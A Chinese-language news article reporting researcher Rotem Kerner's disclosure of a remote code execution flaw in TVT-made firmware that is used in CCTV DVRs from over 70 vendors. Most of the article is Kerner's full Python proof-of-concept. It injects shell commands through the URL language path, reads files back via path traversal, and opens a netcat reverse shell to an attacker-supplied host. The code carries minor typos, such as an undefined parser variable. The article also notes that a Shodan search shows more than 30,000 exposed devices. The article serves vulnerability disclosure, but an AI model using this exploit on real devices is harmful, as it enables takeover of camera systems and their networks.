近日,一位安全研究员发现70多个供应商售卖的监控摄像头很容易受到远程代码执行(RCE)攻击。
根据安全研究员Rotem Kemer研究发现,超过70个供应商售卖的监控摄像头都很容哟受到远程代码执行(RCE)攻击。
研究人员注意到供应商正在售卖的商品使用的是同样的、易受到RCE攻击的固件。
在“白色标签”的经营模式下,各种各样的供应商只是简单地将自己的标签贴在相同的产品上进行售卖,但是不幸的是,他们都没有开发软件硬件的资格。
这个脆弱的固件是由一家中国制造商TVT开发的,Kerner分析之后发现了闭路电视系统的DVR盒易于攻击的原因。
使用这种固件的产品是在一家销售闭路电视系统的以色列公司购买的,其代码也表明了这是一个脆弱的HTTP服务器。
安全漏洞依赖于服务器来检查是否存在给定语言的目录。如果该文件夹不存在,软件会通过提取远程命令来执行打开口令。
下面是研究人员的解释:
它会读取URL,如果URL包含以下的内容/language/[language]/index.html 。
如果该目录存在的话,就会提取斜杠之间的【language】内容并且进行检查;如果不存在,就会直接执行此命令
tar –zxf mtd/WebSites/language.tar.gz [language]/* -C /nfsdir/language
这基本上就是给了我们一个远程命令执行的机会。
下面是影响固件漏洞的概念证明代码:
- #!/usr/bin/python
- # http://www.kerneronsec.com/2016/02/remote-code-execution-in-cctv-dvrs-of.html
- __author__ = 'Rotem Kerner'
- from sys import argv
- import optparse
- from urlparse import urlparse
- from re import compile
- import socket
- import requests
- from requests.exceptions import ConnectionError, Timeout, ContentDecodingError
- from socket import timeout
- def main():
- # parse command line options and atguments
- optparseoptparser = optparse.OptionParser(usage="%s <target-url> [options]" % argv[0])
- optparser.add_option('-c','--check',action="store_true",dest="checkvuln", default=False,
- help="Check if target is vulnerable")
- optparser.add_option('-e','--exploit', action="store", type="string", dest="connback",
- help="Fire the exploit against the given target URL")
- (options, args) = optparser.parse_args()
- try:
- target = args[0]
- except IndexError:
- optparser.print_help()
- exit()
- target_url = urlparse(target)
- # validating hostname
- if not target_url.hostname:
- print "[X] supplied target "%s" is not a valid URL" % target
- optparser.print_help()
- exit()
- # A little hack to handle read timeouts, since urllib2 doesnt give us this functionality.
- socket.setdefaulttimeout(10)
- # is -c flag on check if target url is vulnrable.
- if options.checkvuln is True:
- print "[!] Checking if target "%s" is vulnable..." % target_url.netloc
- try:
- # Write file
- raw_url_request('%s://%s/language/Swedish${IFS}&&echo${IFS}1>test&&tar${IFS}/string.js'
- % (target_url.scheme, target_url.netloc))
- # Read the file.
- response = raw_url_request('%s:/%s/../../../../../../../mnt/mtd/test' % (target_url.scheme, target_url.netloc))
- # remove it..
- raw_url_request('%s://%s/language/Swedish${IFS}&&rm${IFS}test&&tar${IFS}/string.js'
- % (target_url.scheme, target_url.netloc))
- except (ConnectionError, Timeout, timeout) as e:
- print "[X] Unable to connect. reason: %s. exiting..." % e.message
- return
- if response.text[0] != '1':
- print "[X] Expected response content first char to be '1' got %s. exiting..." % response.text
- return
- print "[V] Target "%s" is vulnerable!" % target_url.netloc
- # if -e is on then fire exploit,
- if options.connback is not None:
- # Validate connect-back information.
- pattern = compile('(?P<host>[a-zA-Z0-9.-]+):(?P<port>[0-9]+)')
- match = pattern.search(options.connback)
- if not match:
- print "[X] given connect back "%s" should be in the format for host:port" % options.connback
- optparser.print_help()
- exit()
- # fire remote code execution!
- # Three ..
- try:
- raw_url_request('%s://%s/language/Swedish${IFS}&&echo${IFS}nc${IFS}%s${IFS}%s${IFS}>e&&${IFS}/a'
- % (target_url.scheme, target_url.netloc, match.group('host'), match.group('port')))
- # Two ...
- raw_url_request('%s://%s/language/Swedish${IFS}&&echo${IFS}"-e${IFS}$SHELL${IFS}">>e&&${IFS}/a'
- % (target_url.scheme, target_url.netloc))
- # One. Left off!
- raw_url_request('%s://%s/language/Swedish&&$(cat${IFS}e)${IFS}&>r&&${IFS}/s'
- % (target_url.scheme, target_url.netloc))
- except (ConnectionError, Timeout, timeout) as e:
- print "[X] Unable to connect reason: %s. exiting..." % e.message
- print "[V] Exploit payload sent!, if nothing went wrong we should be getting a reversed remote shell at %s:%s"
- % (match.group('host'), match.group('port'))
- # Disabling URL encode hack
- def raw_url_request(url):
- r = requests.Request('GET')
- r.url = url
- rr = r.prepare()
- # set url without encoding
- r.url = url
- s = requests.Session()
- return s.send(r)
- if __name__ == '__main__':
- main()
他注意到目前来说有数以万计的产品在使用这种HTTP服务器。他是在查询了Shodan搜索引擎之后做出的这样的肯定判断,而没在这种搜索引擎中的产品可能数量更多。
研究者说,“快速查询Shodan之后发现其分布超过三万;这已经很多了,但是我相信这还只是一小部分。”
Kerner试图向最初的制造商TVT报告这个问题,但是没有受到任何回复。